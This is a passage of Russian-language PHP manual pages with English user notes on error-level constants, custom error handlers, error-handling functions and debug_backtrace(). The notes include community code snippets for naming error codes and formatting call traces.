            return 'E_USER_NOTICE';
        case E_STRICT: // 2048 //
            return 'E_STRICT';
        case E_RECOVERABLE_ERROR: // 4096 //
            return 'E_RECOVERABLE_ERROR';
        case E_DEPRECATED: // 8192 //
            return 'E_DEPRECATED';
        case E_USER_DEPRECATED: // 16384 //
            return 'E_USER_DEPRECATED';
    }
    return "";
}
kezzyhko at NOSPAM dot semysha dot ru 13-Aug-2016 06:58
As for me, the best way to get error name by int value is that. And it's works fine for me ;)
<?php

array_flip(array_slice(get_defined_constants(true)['Core'], 1, 15, true))[$type];

//the same in readable form
array_flip(
    array_slice(
        get_defined_constants(true)['Core'],
        1,
        15,
        true
    )
)[$type]

?>
Herbert 22-Jun-2016 08:00
if you want to bring this list back to the categories error/warning/notice/all

<?php

$error_level   = 'warning';      //  Allowed values: error/warning/notice/all

$error_error   = (int)                  E_ERROR | E_USER_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_RECOVERABLE_ERROR | E_PARSE;
$error_warning = (int) $error_error   | E_WARNING | E_USER_WARNING | E_CORE_WARNING | E_COMPILE_WARNING;
$error_notice  = (int) $error_warning | E_NOTICE | E_USER_NOTICE | E_DEPRECATED | E_USER_DEPRECATED;
$error_all     = (int) $error_notice  | E_STRICT;

error_reporting ($GLOBALS["error_$error_level"]);

?>
Anonymous 15-Jun-2016 07:38
My version!
For long list function returns for example "E_ALL without E_DEPRECATED "

function errorLevel()
{
    $levels = array(
        'E_ERROR',
        'E_WARNING',
        'E_PARSE',
        'E_NOTICE',
        'E_CORE_ERROR',
        'E_CORE_WARNING',
        'E_COMPILE_ERROR',
        'E_COMPILE_WARNING',
        'E_USER_ERROR',
        'E_USER_WARNING',
        'E_USER_NOTICE',
        'E_STRICT',
        'E_RECOVERABLE_ERROR',
        'E_DEPRECATED',
        'E_USER_DEPRECATED',
        'E_ALL'
    );
    $excluded = $included = array();
    $errLvl = error_reporting();
    foreach ($levels as $lvl) {
        $val = constant($lvl);
        if ($errLvl & $val) {
            $included []= $lvl;
        } else {
                $excluded []= $lvl;
        }
    }
    if (count($excluded) > count($included)) {
        echo '<br />Consist: '.implode(',', $included);
    } else {
        echo '<br />Consist: E_ALL without '.implode(',', $excluded);
    }
}
damian at thebestisp dot dot dot com 17-Mar-2016 02:22
I saw that Chris seems to think that errors might be combined in some cases, I don't know of any cases, but his code is overly verbose, inefficient, and doesn't take into account future E_ constants. Here's my version of handling multiple errors (which probably wont ever happen) using my other code as a base. The only real difference is that this doesn't bother to split out undefined bits, which is pretty much useless and would get rather messy if you have more than a few bits set above 2**14 (0 to 14 have an associated error).

<?php
function friendly_error_type($type) {
    static $levels=null;
    if ($levels===null) {
        $levels=[];
        foreach (get_defined_constants() as $key=>$value) {
            if (strpos($key,'E_')!==0) {continue;}
            $levels[$value]=substr($key,2);
        }
    }
    $out=[];
    foreach ($levels as $int=>$string) {
        if ($int&$type) {$out[]=$string;}
        $type&=~$int;
    }
    if ($type) {$out[]="Error Remainder [{$type}]";}
    return implode(' & ',$out);
}
echo friendly_error_type(E_ERROR|E_USER_DEPRECATED); //ERROR & USER_DEPRECATED
echo friendly_error_type(2**20-1); //ERROR & RECOVERABLE_ERROR & WARNING & PARSE & NOTICE & STRICT & DEPRECATED & CORE_ERROR & CORE_WARNING & COMPILE_ERROR & COMPILE_WARNING & USER_ERROR & USER_WARNING & USER_NOTICE & USER_DEPRECATED & Error Remainder [1015808]
?>
damian at thebestisp dot dot dot com 15-Mar-2016 04:21
I use this code to help mimic the default error handler, the only difference is that the levels end up being all caps, which I don't care to fix. You could also get rid of the underscores, but again, I don't care :P
Until php starts adding constants starting with E_ that have values overlapping with other E_ constants, this seems to be the shortest way of converting error code integers to strings understandable by meat bags. It will also work with new types, so that's nice.
<?php
function friendly_error_type($type) {
    static $levels=null;
    if ($levels===null) {
        $levels=[];
        foreach (get_defined_constants() as $key=>$value) {
            if (strpos($key,'E_')!==0) {continue;}
            $levels[$value]=substr($key,2);
        }
    }
    return (isset($levels[$type]) ? $levels[$type] : "Error #{$type}");
}
echo friendly_error_type(1); #ERROR
echo friendly_error_type(2); #WARNING
echo friendly_error_type(3); #Error #3
?>
Tested on 5.6.12 and 7.0.3 (The first was by accident, didn't realize I was sshed into production :3)
chris-php at IGNORETHISPART dot cybermato dot com 29-Aug-2014 07:06
How about this?  Unlike the examples below, it will show all the bits that are set, AND handle any bits defined in the future (at least not silently hide them)...

    $strErrorType = "";
    $bit = 1;
    $tmpErrNo = $errNo;
    while ($tmpErrNo) {
        if ($tmpErrNo & $bit) {
            if ($strErrorType != "")
                $strErrorType .= " | ";
            switch ($bit) {
            case E_USER_WARNING:
                $strErrorType .= "E_USER_WARNING"; break;
            case E_USER_NOTICE:
                $strErrorType .= "E_USER_NOTICE"; break;
            case E_WARNING:
                $strErrorType .= "E_WARNING"; break;
            case E_CORE_WARNING:
                $strErrorType .= "E_CORE_WARNING"; break;
            case E_COMPILE_WARNING:
                $strErrorType .= "E_COMPILE_WARNING"; break;
            case E_NOTICE:
                $strErrorType .= "E_NOTICE"; break;
            case E_ERROR:
                $strErrorType .= "E_ERROR"; break;
            case E_PARSE:
                $strErrorType .= "E_PARSE"; break;
            case E_CORE_ERROR:
                $strErrorType .= "E_CORE_ERROR"; break;
            case E_COMPILE_ERROR:
                $strErrorType .= "E_COMPILE_ERROR"; break;
            case E_USER_ERROR:
                $strErrorType .= "E_USER_ERROR"; break;
            default:
                $strErrorType .= "(unknown error bit $bit)"; break;
            }
        }
        $tmpErrNo &= ~$bit;
        $bit <<= 1;
    }
Anonymous 02-Sep-2012 07:31
this would give you all the reported exception list of your configuration.

<?php
function FriendlyErrorType($type)
{
    $return ="";
    if($type & E_ERROR) // 1 //
        $return.='& E_ERROR ';
    if($type & E_WARNING) // 2 //
        $return.='& E_WARNING ';
    if($type & E_PARSE) // 4 //
        $return.='& E_PARSE ';
    if($type & E_NOTICE) // 8 //
        $return.='& E_NOTICE ';
    if($type & E_CORE_ERROR) // 16 //
        $return.='& E_CORE_ERROR ';
    if($type & E_CORE_WARNING) // 32 //
        $return.='& E_CORE_WARNING ';
    if($type & E_COMPILE_ERROR) // 64 //
        $return.='& E_COMPILE_ERROR ';
    if($type & E_COMPILE_WARNING) // 128 //
        $return.='& E_COMPILE_WARNING ';
    if($type & E_USER_ERROR) // 256 //
        $return.='& E_USER_ERROR ';
    if($type & E_USER_WARNING) // 512 //
        $return.='& E_USER_WARNING ';
    if($type & E_USER_NOTICE) // 1024 //
        $return.='& E_USER_NOTICE ';
    if($type & E_STRICT) // 2048 //
        $return.='& E_STRICT ';
    if($type & E_RECOVERABLE_ERROR) // 4096 //
        $return.='& E_RECOVERABLE_ERROR ';
    if($type & E_DEPRECATED) // 8192 //
        $return.='& E_DEPRECATED ';
    if($type & E_USER_DEPRECATED) // 16384 //
        $return.='& E_USER_DEPRECATED ';
    return substr($return,2);
}
echo "error_reporting = " . FriendlyErrorType(ini_get('error_reporting')) .";<br>";
?>
russthom at fivegulf dot com 16-Jul-2012 06:25
[Editor's note: fixed E_COMPILE_* cases that incorrectly returned E_CORE_* strings. Thanks josiebgoode.]

The following code expands on Vlad's code to show all the flags that are set.  if not set, a blank line shows.

<?php
$errLvl = error_reporting();
for ($i = 0; $i < 15;  $i++ ) {
    print FriendlyErrorType($errLvl & pow(2, $i)) . "<br>\\n";
}

function FriendlyErrorType($type)
{
    switch($type)
    {
        case E_ERROR: // 1 //
            return 'E_ERROR';
        case E_WARNING: // 2 //
            return 'E_WARNING';
        case E_PARSE: // 4 //
            return 'E_PARSE';
        case E_NOTICE: // 8 //
            return 'E_NOTICE';
        case E_CORE_ERROR: // 16 //
            return 'E_CORE_ERROR';
        case E_CORE_WARNING: // 32 //
            return 'E_CORE_WARNING';
        case E_COMPILE_ERROR: // 64 //
            return 'E_COMPILE_ERROR';
        case E_COMPILE_WARNING: // 128 //
            return 'E_COMPILE_WARNING';
        case E_USER_ERROR: // 256 //
            return 'E_USER_ERROR';
        case E_USER_WARNING: // 512 //
            return 'E_USER_WARNING';
        case E_USER_NOTICE: // 1024 //
            return 'E_USER_NOTICE';
        case E_STRICT: // 2048 //
            return 'E_STRICT';
        case E_RECOVERABLE_ERROR: // 4096 //
            return 'E_RECOVERABLE_ERROR';
        case E_DEPRECATED: // 8192 //
            return 'E_DEPRECATED';
        case E_USER_DEPRECATED: // 16384 //
            return 'E_USER_DEPRECATED';
    }
    return "";
}
?>
vladvarna at gmail dot com 16-Mar-2012 09:35
function FriendlyErrorType($type)
    {
        switch($type)
            {
            case E_ERROR: // 1 //
                return 'E_ERROR';
            case E_WARNING: // 2 //
                return 'E_WARNING';
            case E_PARSE: // 4 //
                return 'E_PARSE';
            case E_NOTICE: // 8 //
                return 'E_NOTICE';
            case E_CORE_ERROR: // 16 //
                return 'E_CORE_ERROR';
            case E_CORE_WARNING: // 32 //
                return 'E_CORE_WARNING';
            case E_CORE_ERROR: // 64 //
                return 'E_COMPILE_ERROR';
            case E_CORE_WARNING: // 128 //
                return 'E_COMPILE_WARNING';
            case E_USER_ERROR: // 256 //
                return 'E_USER_ERROR';
            case E_USER_WARNING: // 512 //
                return 'E_USER_WARNING';
            case E_USER_NOTICE: // 1024 //
                return 'E_USER_NOTICE';
            case E_STRICT: // 2048 //
                return 'E_STRICT';
            case E_RECOVERABLE_ERROR: // 4096 //
                return 'E_RECOVERABLE_ERROR';
            case E_DEPRECATED: // 8192 //
                return 'E_DEPRECATED';
            case E_USER_DEPRECATED: // 16384 //
                return 'E_USER_DEPRECATED';
            }
        return $type;
    }
Andy at Azurite (co uk) 16-Apr-2011 04:15
-1 is also semantically meaningless as a bit field, and only works in 2s-complement numeric representations.  On a 1s-complement system -1 would not set E_ERROR.  On a sign-magnitude system -1 would set nothing at all! (see e.g. http://en.wikipedia.org/wiki/Ones%27_complement)

If you want to set all bits, ~0 is the correct way to do it.

But setting undefined bits could result in undefined behaviour and that means *absolutely anything* could happen :-)
PhpMyCoder 15-Jul-2010 03:26
Well, technically -1 will show all errors which includes any new ones included by PHP. My guess is that E_ALL will always include new error constants so I usually prefer:

<?php
error_reporting(E_ALL | E_STRICT);
?>

Reason being: With a quick glance anyone can tell you what errors are reported. -1 might be a bit more cryptic to newer programmers.


Примеры

Ниже представлен пример использования возможностей обработки ошибок в PHP. Мы определим функцию для обработки ошибок, которая будет записывать информацию об ошибках в файл (используя формат XML), а в случае возникновения критических ошибок, будем дополнительно отправлять разработчикам письмо с уведомлением.

Пример #1 Обработка ошибок в скрипте

<?php
// мы будем делать нашу собственную обработку ошибок
error_reporting(0);

// пользовательская функция для обработки ошибок
function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars)
{
// временная метка возникновения ошибки
$dt = date("Y-m-d H:i:s (T)");

// определим ассоциативный массив соответствия всех
// констант уровней ошибок с их названиями, хотя
// в действительности мы будем рассматривать только
// следующие типы: E_WARNING, E_NOTICE, E_USER_ERROR,
// E_USER_WARNING и E_USER_NOTICE
$errortype = array (
E_ERROR => 'Ошибка',
E_WARNING => 'Предупреждение',
E_PARSE => 'Ошибка разбора исходного кода',
E_NOTICE => 'Уведомление',
E_CORE_ERROR => 'Ошибка ядра',
E_CORE_WARNING => 'Предупреждение ядра',
E_COMPILE_ERROR => 'Ошибка на этапе компиляции',
E_COMPILE_WARNING => 'Предупреждение на этапе компиляции',
E_USER_ERROR => 'Пользовательская ошибка',
E_USER_WARNING => 'Пользовательское предупреждение',
E_USER_NOTICE => 'Пользовательское уведомление',
E_STRICT => 'Уведомление времени выполнения',
E_RECOVERABLE_ERROR => 'Отлавливаемая фатальная ошибка'
);
// определим набор типов ошибок, для которых будет сохранён стек переменных
$user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

$err = "<errorentry>\n";
$err .= "\t<datetime>" . $dt . "</datetime>\n";
$err .= "\t<errornum>" . $errno . "</errornum>\n";
$err .= "\t<errortype>" . $errortype[$errno] . "</errortype>\n";
$err .= "\t<errormsg>" . $errmsg . "</errormsg>\n";
$err .= "\t<scriptname>" . $filename . "</scriptname>\n";
$err .= "\t<scriptlinenum>" . $linenum . "</scriptlinenum>\n";

if (in_array($errno, $user_errors)) {
$err .= "\t<vartrace>" . wddx_serialize_value($vars, "Переменные") . "</vartrace>\n";
}
$err .= "</errorentry>\n\n";

// для тестирования
// echo $err;

// сохраняем в журнал ошибок, а если произошла пользовательская критическая ошибка, то отправляем письмо
error_log($err, 3, "/usr/local/php4/error.log");
if ($errno == E_USER_ERROR) {
mail("phpdev@example.com", "Пользовательская критическая ошибка", $err);
}
}

function distance($vect1, $vect2)
{
if (!is_array($vect1) || !is_array($vect2)) {
trigger_error("Некорректные параметры функции, ожидаются массивы в качестве параметров", E_USER_ERROR);
return NULL;
}

if (count($vect1) != count($vect2)) {
trigger_error("Векторы должны быть одинаковой размерности", E_USER_ERROR);
return NULL;
}

for ($i=0; $i<count($vect1); $i++) {
$c1 = $vect1[$i]; $c2 = $vect2[$i];
$d = 0.0;
if (!is_numeric($c1)) {
trigger_error("Координата $i в векторе 1 не является числом, будет использовать ноль",
E_USER_WARNING);
$c1 = 0.0;
}
if (!is_numeric($c2)) {
trigger_error("Координата $i в векторе 2 не является числом, будет использовать ноль",
E_USER_WARNING);
$c2 = 0.0;
}
$d += $c2*$c2 - $c1*$c1;
}
return sqrt($d);
}

$old_error_handler = set_error_handler("userErrorHandler");

// использование неопределённой константы, будет генерироваться предупреждение
$t = I_AM_NOT_DEFINED;

// определим несколько "векторов"
$a = array(2, 3, "foo");
$b = array(5.5, 4.3, -1.6);
$c = array(1, -3);

// генерируем пользовательскую ошибку
$t1 = distance($c, $b) . "\n";

// генерируем ещё одну пользовательскую ошибку
$t2 = distance($b, "я не массив") . "\n";

// генерируем пользовательское предупреждение
$t3 = distance($a, $b) . "\n";

?>

User Contributed Notes

delcroixenator at gmail dot com 17-Mar-2022 07:50
For the above "distance" function to work properly, you must correct it as follows:
$d = 0.0; // must be moved before the for loop
 $d += $c2*$c2 - $c1*$c1; // must be replaced by $d += ($c2 - $c1) ** 2 ;

Another thing: in the "userErrorHandler" function, the variables $vars and $user_errors are declared but not used.


Функции обработки ошибок

Смотрите также

Смотрите также функцию syslog().

Содержание

  • debug_backtrace — Генерирует стек вызовов функций
  • debug_print_backtrace — Выводит стек вызовов функций
  • error_clear_last — Очистить самую последнюю ошибку
  • error_get_last — Получение информации о последней произошедшей ошибке
  • error_log — Отправляет сообщение об ошибке заданному обработчику ошибок
  • error_reporting — Задаёт, какие ошибки PHP попадут в отчёт
  • restore_error_handler — Восстанавливает предыдущий обработчик ошибок
  • restore_exception_handler — Восстанавливает предыдущий обработчик исключений
  • set_error_handler — Задаёт пользовательский обработчик ошибок
  • set_exception_handler — Задаёт пользовательский обработчик исключений
  • trigger_error — Вызывает пользовательскую ошибку/предупреждение/уведомление
  • user_error — Псевдоним trigger_error

User Contributed Notes

jbq at caraldi dot com 15-Nov-2007 05:50
Precision about error_log when configured with syslog: the syslog() call is done with severity NOTICE.
Stephen 18-Jan-2007 03:29
If you are using PHP as an Apache module, your default behavior may be to write PHP error messages to Apache's error log. This is because the error_log .ini directive may be set equal to "error_log" which is also the name of Apache's error log. I think this is intentional.

However, you can separate Apache errors from PHP errors if you wish by simply setting a different value for error_log. I write mine in the /var/log folder.
petrov dot michael () gmail com 16-Jan-2007 11:11
I have found that on servers that enforce display_errors to be off it is very inconvenient to debug syntax errors since they cause fatal startup errors. I have used the following method to bypass this limitation:

The syntax error is inside the file "syntax.php", therefore I create a file "syntax.debug.php" with the following code:

<?php
error_reporting(E_ALL);
ini_set('display_errors','On');

include('syntax.php');
?>

The 5 line file is guaranteed to be free of errors, allowing PHP to execute the directives within it before including the file which previously caused fatal startup errors. Now those fatal startup errors become run time fatal errors.
mortonda at dgrmm dot net 08-Jan-2007 05:16
Note the example code listed here calls date() every time this is called.   If you have a complex source base which calls the custom error handler often, it can end up taking quite a bit of time.  I ran a profiler on som code and discovered that 50% of the time was spent in the date function in this error handler.
theotek AT nowhere DOT org 04-Aug-2006 08:40
It is totally possible to use debug_backtrace() inside an error handling function. Here, take a look:

<?php
set_error_handler('errorHandler');

function errorHandler( $errno, $errstr, $errfile, $errline, $errcontext)
{
  echo 'Into '.__FUNCTION__.'() at line '.__LINE__.
  "\n\n---ERRNO---\n". print_r( $errno, true).
  "\n\n---ERRSTR---\n". print_r( $errstr, true).
  "\n\n---ERRFILE---\n". print_r( $errfile, true).
  "\n\n---ERRLINE---\n". print_r( $errline, true).
  "\n\n---ERRCONTEXT---\n".print_r( $errcontext, true).
  "\n\nBacktrace of errorHandler()\n".
  print_r( debug_backtrace(), true);
}

function a( )
{
  //echo "a()'s backtrace\n".print_r( debug_backtrace(), true);
  asdfasdf; // oops
}

function b()
{
  //echo "b()'s backtrace\n".print_r( debug_backtrace(), true);
  a();
}

b();
?>

Outputs:

<raw>

Into errorhandler() at line 9

---ERRNO---
8

---ERRSTR---
Use of undefined constant asdfasdf - assumed 'asdfasdf'

---ERRFILE---
/home/theotek/test-1.php

---ERRLINE---
23

---ERRCONTEXT---
Array
(
)

Backtrace of errorHandler()
Array
(
    [0] => Array
        (
            [function] => errorhandler
            [args] => Array
                (
                    [0] => 8
                    [1] => Use of undefined constant asdfasdf - assumed 'asdfasdf'
                    [2] => /home/theotek/test-1.php
                    [3] => 23
                    [4] => Array
                        (
                        )

                )

        )

    [1] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 23
            [function] => a
        )

    [2] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 30
            [function] => a
            [args] => Array
                (
                )

        )

    [3] => Array
        (
            [file] => /home/theotek/test-1.php
            [line] => 33
            [function] => b
            [args] => Array
                (
                )

        )

)

</raw>

So, the first member of the backtrace's array is not really surprising, except from the missing "file" and "line" members.

The second member of the backtrace seem the be a hook inside the zend engine that is used to trigger the error.

Other members are the normal backtrace.
tracerdx at tracerdx dot com 28-Nov-2005 09:46
I keep seeing qualification lists for error types/error-nums as arrays; In user notes and in the manual itself. For example, in this manual entry's example, when trying to seperate behavior for the variable trace in the error report:

<?php //...

// set of errors for which a var trace will be saved
$user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);

//and later...

if (in_array($errno, $user_errors)) {
    //...whatever
}

//... ?>

I was under the impression that PHP error code values where bitwise flag values. Wouldn't bitwise masking be better? So I propose a slightly better way:
<?php //...

$user_errors = E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE;

//...blah...

if ($errno & $user_errors) {
    //...whatever
}

//... ?>
Or for those of you who don't like the idea of using an integer as the condition in an if statement:

<?php
if (($errno & $user_errors) > 0) {
    //...whatever
}
?>

I think that's much more efficient than using _yet another_ array() constuct and an in_array().

If I am wrong, and the E_* constants aren't supposed to be used in this fashion (ie, the constans aren't guaranteed to be bitwise, which would be odd since that's how they're setup in the php.ini file), then delete me. I just don't see why one should be using arrays when bitwise comparisons will work, considering the bitwise method should be MUCH more efficient.
20-May-2005 04:20
When configuring your error log file in php.ini, you can use an absolute path or a relative path.  A relative path will be resolved based on the location of the generating script, and you'll get a log file in each directory you have scripts in.  If you want all your error messages to go to the same file, use an absolute path to the file.

In some application development methodologies, there is the concept of an application root directory, indicated by "/" (even on Windows).  However, PHP does not seem to have this concept, and using a "/" as the initial character in a log file path produces weird behavior on Windows.

If you are running on Windows and have set, in php.ini:

  error_log = "/php_error.log"

You will get some, but not all, error messages.  The file will appear at

  c:\php_error.log

and contain internally generated error messages, making it appear that error logging is working.  However, log messages requested by error_log() do NOT appear here, or anywhere else, making it appear that the code containing them did not get processed.

Apparently on Windows the internally generated errors will interpret "/" as "C:\" (or possibly a different drive if you have Windows installed elsewhere - I haven't tested this).  However, the error_log process apparently can't find "/" - understandably enough - and the message is dropped silently.
shawing at gmail dot com 27-Jan-2005 02:05
Although the root user writes to the files 'error_log' and 'access_log', the Apache user has to own the file referenced by 'error_log = filename' or no log entries will be written.

; From php.ini
; Log errors to specified file.
error_log = /usr/local/apache/logs/php.errors

[root@www logs]$ ls -l /usr/local/apache/logs/php.errors
-rw-r--r--    1 nobody   root          27K Jan 27 16:58 php.errors
ptah at se dot linux dot org 09-Sep-2004 05:20
PHP5 only (only tested with php5.0).

If you, for some reason, prefer exceptions over errors and have your custom error handler (set_error_handler) wrap the error into an exception you have to be careful with your script.

Because if you, instead of just calling the exception handler, throws the exception, and having a custom exception handler (set_exception_handler). And an error is being triggered inside that exception handler, you will get a weird error:
"Fatal error: Exception thrown without a stack frame in Unknown on line 0"

This error is not particulary informative, is it? :)

This example below will cause this error.
<?php
class PHPErrorException extends Exception
{
    private $context = null;
    public function __construct
        ($code, $message, $file, $line, $context = null)
    {
        parent::__construct($message, $code);
        $this->file = $file;
        $this->line = $line;
        $this->context = $context;
    }
};

function error_handler($code, $message, $file, $line) {
    throw new PHPErrorException($code, $message, $file, $line);
}

function exception_handler(Exception $e)
{
    $errors = array(
        E_USER_ERROR        => "User Error",
        E_USER_WARNING        => "User Warning",
        E_USER_NOTICE        => "User Notice",
        );

    echo $errors[$e->getCode()].': '.$e->getMessage().' in '.$e->getFile().
        ' on line '.$e->getLine()."\n";
    echo $e->getTraceAsString();
}

set_error_handler('error_handler');
set_exception_handler('exception_handler');

// Throw exception with an /unkown/ error code.
throw new Exception('foo', 0);
?>

There are however, easy fix for this as it's only cause is sloppy code.
Like one, directly call exception_handler from error_handler instead of throwing an exception. Not only does it remedy this problem, but it's also faster. Though this will cause a `regular` unhandled exception being printed and if only "designed" error messages are intended, this is not the ultimate solution.

So, what is there to do? Make sure the code in exception_handlers doesn't cause any errors! In this case a simple isset() would have solved it.

regards, C-A B.


Генерирует стек вызовов функций

  • « Функции обработки ошибок
  • debug_print_backtrace »
  • PHP Manual
  • Функции обработки ошибок
  • Генерирует стек вызовов функций

debug_backtrace

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

debug_backtrace — Генерирует стек вызовов функций

Описание

debug_backtrace(int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT, int $limit = 0): array

Функция debug_backtrace() генерирует стек вызовов функций PHP.

Список параметров

options

Этот параметр — битовая маска для следующих настроек:

Опции debug_backtrace()
DEBUG_BACKTRACE_PROVIDE_OBJECT | Нужно ли заполнять ключ "object" (в выходом массиве).
DEBUG_BACKTRACE_IGNORE_ARGS | Нужно ли исключить ключ "args" (из выходного массива) с сопутствующим исключением всех аргументов функций/методов, чтобы уменьшить расход памяти.

Замечание:

Возможны четыре комбинации:

Опции debug_backtrace()
debug_backtrace() | Заполняются оба ключа.
debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT)
debug_backtrace(1)
debug_backtrace(0) | Не включается ключ "object" и заполняется ключ "args".
debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS) | Опускается ключ "object" и ключ "args".
debug_backtrace(2)
debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT|DEBUG_BACKTRACE_IGNORE_ARGS) | Заполняется ключ "object" и опускается ключ "args".
debug_backtrace(3)

limit

Этим параметром можно ограничить количество возвращаемых вызовов функций. По умолчанию параметр (limit=0) — будет выведен весь стек вызовов.

Возвращаемые значения

Функция возвращает массив вложенных ассоциативных массивов (array). Описание элементов массива приведено ниже:

Список возможных элементов массивов, возвращаемых функцией debug_backtrace()
Имя | Тип | Описание
function | string | Имя текущей функции. Смотрите также __FUNCTION__.
line | int | Текущий номер строки. Смотрите также __LINE__.
file | string | Имя текущего файла. Смотрите также __FILE__.
class | string | Имя текущего класса. Смотрите также __CLASS__
object | object | Текущий объект.
type | string | Текущий тип вызова функции. Если это вызов метода объекта, будет возвращено значение "->". Если это вызов статического метода класса, то "::". Если это простой вызов функции, ничего не возвращается.
args | array | Если (функция debug_backtrace()) вызвана внутри функции, в этих ключах будут перечислены аргументы функций. Если вызов выполнен внутри включаемого файла, будут перечислены имена включённых файлов.

Примеры

Пример #1 Пример использования debug_backtrace()

<?php
// файл /tmp/a.php

function a_test($str)
{
echo "\nПривет, $str";
var_dump(debug_backtrace());
}

a_test('друг');
?>

<?php
// файл /tmp/b.php
include_once '/tmp/a.php';
?>

Результат аналогичен приведённому ниже, если запустить /tmp/b.php:

Привет, друг
array(2) {
[0]=>
array(4) {
    ["file"] => string(10) "/tmp/a.php"
    ["line"] => int(10)
    ["function"] => string(6) "a_test"
    ["args"]=>
    array(1) {
      [0] => &string(8) "друг"
    }
}
[1]=>
array(4) {
    ["file"] => string(10) "/tmp/b.php"
    ["line"] => int(2)
    ["args"] =>
    array(1) {
      [0] => string(10) "/tmp/a.php"
    }
    ["function"] => string(12) "include_once"
  }
}

Смотрите также

  • trigger_error() - Вызывает пользовательскую ошибку/предупреждение/уведомление
  • debug_print_backtrace() - Выводит стек вызовов функций

User Contributed Notes

liam at N0SPAM dot boxclever dot ca 13-Jul-2023 03:59
Options provided by bitmask parameters can be disabled using !

<?php
debug_backtrace( !DEBUG_BACKTRACE_PROVIDE_OBJECT | DEBUG_BACKTRACE_IGNORE_ARGS);
?>
jcmargentina at gmail dot com 11-Oct-2019 06:50
I want to point out that debug_backtrace() in new versions of php can detect recursion // circular references .. avoiding memory consumption.

Example:

<?php

class ParentClass {
        public function __construct()
        {
                $this->_child = new ChildClass($this);
                var_dump(debug_backtrace());
        }
}

class ChildClass {
        public function __construct(ParentClass $p)
        {
                $this->_parent = $p;
        }
}

$test = new ParentClass();
?>

Output:

array(1) {
  [0]=>
  array(7) {
    ["file"]=>
    string(23) "/home/jcm/testdebug.php"
    ["line"]=>
    int(18)
    ["function"]=>
    string(11) "__construct"
    ["class"]=>
    string(11) "ParentClass"
    ["object"]=>
    object(ParentClass)#1 (1) {
      ["_child"]=>
      object(ChildClass)#2 (1) {
        ["_parent"]=>
        *RECURSION*
      }
    }
    ["type"]=>
    string(2) "->"
    ["args"]=>
    array(0) {
    }
  }
}

Attention in the *RECURSION* hint provided
jake at qzdesign dot co dot uk 09-Mar-2019 09:19
The `args` element contains only the arguments actually passed to the function or method.  It does not include default parameters if they were not explicitly specified.  (A least, this is the case with PHP 7.1.9.)  This is consistent with the behaviour of `func_get_args()`.
robert at medianis dot net 04-Oct-2016 09:42
Just a short note on debug_backtrace options for PHP 5.3.6 or newer:

debug_backtrace() - show all options
debug_backtrace(0) - exlude ["object"]
debug_backtrace(1) - same as debug_backtrace()
debug_backtrace(2) - exlude ["object"] AND ["args"]

use this example and try calling debug_backtrace with different options

<?php
function F1()
{
    echo "<br />";
    echo "in F1 now";
    echo "<pre>".print_r(debug_backtrace(2),true)."</pre>";
}

class DebugOptionsTest
{
    function F2()
    {
        echo "<br />";
        echo "in F2 now";
        F1();
    }

}

echo "<hr />calling F1";
F1();

$c=new DebugOptionsTest();
echo "<hr /><hr /><hr />calling F2";
$c->F2("testValue");

?>
Emmett Brosnan 18-Aug-2016 08:31
Quick and dirty formatted output from debug_backtrace.

$file_paths = debug_backtrace();

foreach($file_paths AS $file_path) {
  foreach($file_path AS $key => $var) {
    if($key == 'args') {
      foreach($var AS $key_arg => $var_arg) {
        echo $key_arg . ': ' . $var_arg . '<br>';
      }
    } else {
      echo $key . ': ' . $var . '<br>';
    }
  }
}
anoam at yandex dot ru 17-Oct-2014 08:12
It works a little bit different with resources in different PHP versions.

For example:
function foo($bar)
{
  return debug_backtrace();
}

$resource = fopen(__FILE__, 'r');
$backtrace = foo($resource);
echo "when resource is opened: " . gettype($backtrace[0]['args'][0]) . "\n";
fclose($resource);
echo "when resource is closed: " . gettype($backtrace[0]['args'][0]) . "\n";

With 5.3.10 I got:
when resource is opened: resource
when resource is closed: resource

With 5.5.9:
when resource is opened: resource
when resource is closed: unknown type

Be carefull.
jonas at faceways dot se 20-Sep-2013 07:41
When using debug_backtrace() to check if you're being accessed from another caller, please remember to ask debug_backtrace to only go as far as needed in depth and skip taking the entire debug object as return parameter:

<?php
    if (count(debug_backtrace(FALSE, 1)) == 0)
    {
        // Do something
    }
?>
jurchiks101 at gmail dot com 21-May-2013 10:04
Here's a function I just wrote for getting a nice and comprehensible call trace. It is probably more resource-intensive than some other alternatives but it is short, understandable, and gives nice output (Exception->getTraceAsString()).

<?php
function generateCallTrace()
{
    $e = new Exception();
    $trace = explode("\n", $e->getTraceAsString());
    // reverse array to make steps line up chronologically
    $trace = array_reverse($trace);
    array_shift($trace); // remove {main}
    array_pop($trace); // remove call to this method
    $length = count($trace);
    $result = array();

    for ($i = 0; $i < $length; $i++)
    {
        $result[] = ($i + 1)  . ')' . substr($trace[$i], strpos($trace[$i], ' ')); // replace '#someNum' with '$i)', set the right ordering
    }

    return "\t" . implode("\n\t", $result);
}
?>

Example output:
    1) /var/www/test/test.php(15): SomeClass->__construct()
    2) /var/www/test/SomeClass.class.php(36): SomeClass->callSomething()
Anonymous 06-Mar-2013 09:01
A usual entry looks like this:
<?php
array(6) {
  'file' =>
  string(87) "DbSelector.php"
  'line' =>
  int(171)
  'function' =>
  string(5) "error"
  'class' =>
  string(42) "LoggingService"
  'type' =>
  string(2) "::"
  'args' =>
  array(1) {
    [0] =>
    string(27) "Connecting to DB: unittests"
  }
}
?>

Be warned though that 'file' and 'class' do not reference the same thing!
'file' means which file calls the next step.
'class' is the next step being called.

So 'file' is the caller, 'class' is the callee.
Gemorroj 11-Feb-2013 09:58
Another variation formatting backtrace.
Parameter $ignore to ignore the extra calls.
<?php
/**
 * Getting backtrace
 *
 * @param int $ignore ignore calls
 *
 * @return string
 */
protected function getBacktrace($ignore = 2)
{
    $trace = '';
    foreach (debug_backtrace() as $k => $v) {
        if ($k < $ignore) {
            continue;
        }

        array_walk($v['args'], function (&$item, $key) {
            $item = var_export($item, true);
        });

